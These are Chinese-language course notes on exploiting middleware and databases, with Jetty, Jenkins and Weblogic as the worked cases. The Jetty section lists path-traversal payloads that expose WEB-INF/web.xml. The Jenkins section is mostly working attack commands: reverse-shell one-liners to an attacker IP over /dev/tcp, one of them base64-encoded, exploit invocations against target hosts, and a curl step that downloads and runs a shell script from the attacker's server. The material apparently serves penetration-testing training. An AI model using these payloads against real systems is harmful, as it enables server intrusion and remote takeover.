

服务攻防-中间件安全&HW2023-WPS 分析
&Weblogic&Jetty&Jenkins&CVE



#知识点:

- 1、数据库-Redis-未授权 RCE&CVE
- 2、数据库-Couchdb-未授权 RCE&CVE
- 3、数据库-H2database-未授权 RCE&CVE

- 1、中间件-IIS-短文件&解析&蓝屏等
- 2、中间件-Nginx-文件解析&命令执行等
- 3、中间件-Apache-RCE&目录遍历&文件解析等
- 4、中间件-Tomcat-弱口令&文件上传&文件包含等

- 1、中间件-Jetty-CVE&信息泄漏
- 2、中间件-Jenkins-CVE&RCE 执行
- 3、中间件-Weblogic-CVE&反序列化&RCE
- 4、应用 WPS-HW2023-RCE&复现&上线 CS

#章节点:

- 1、目标判断-端口扫描&组合判断&信息来源
- 2、安全问题-配置不当&CVE 漏洞&弱口令爆破
- 3、复现对象-数据库&中间件&开发框架&应用协议
- 4、HW 复现-近几年新洞-除上述外的对象各种应用



Presented with xmind

演示案例：

- 中间件-Jetty-CVE&信息泄漏
 - 中间件-Jenkins-CVE&RCE 执行
 - 中间件-Weblogic-CVE&反序列化&RCE
 - 应用 WPS-HW2023-RCE&复现&上线 CS
-

#中间件-Jetty-CVE&信息泄漏

Jetty 是一个开源的 servlet 容器，它为基于 Java 的 Web 容器提供运行环境。

```
/%2e/WEB-INF/web.xml
/..%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml
/static?/WEB-INF/web.xml
/a/b/..%00/WEB-INF/web.
```

#中间件-Jenkins-CVE&RCE 执行

Jenkins 是一个开源软件项目，是基于 Java 开发的一种持续集成工具，用于监控持续重复的工作。探针默认端口：8080

1、cve_2017_1000353 JDK-1.8.0_291 其他版本失效

<http://github.com/vulnhub/CVE-2017-1000353>

```
bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
```

```
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser
```

```
"bash -c
```

```
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzY2ODggMD4mMQ==
=}|{base64,-d}|{bash,-i}"
```

```
python exploit.py http://123.58.236.76:54217 jenkins_poc.ser
```

2、CVE-2018-1000861

<https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc>

```
bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
```

```
python3 -m http.server 8888
```

```
python2 exp.py http://123.58.236.76:52281/ "curl -o /tmp/1.sh
```

```
http://47.94.236.117:8888/shell.txt"
```

```
python2 exp.py http://123.58.236.76:52281/ "bash /tmp/1.sh"
```

3、cve_2019_100300 需要用户帐号密码

#中间件-Weblogic-CVE&反序列化&RCE

Weblogic 是 Oracle 公司推出的 J2EE 应用服务器。

探针默认端口：7001

CVE-2023-21839 (JNDI)

CVE-2020-2551 (JRMP)

CVE-2020-2551

CVE-2020-2555

CVE-2020-2883

CVE-2020-14882 未授权访问

CVE-2018-2894

CVE-2018-2628 (JRMP)

CVE-2018-2893 (JRMP)

CVE-2018-3245 (JRMP)

涉及资源：

[补充：涉及录像课件资源软件包资料等下载地址](#)
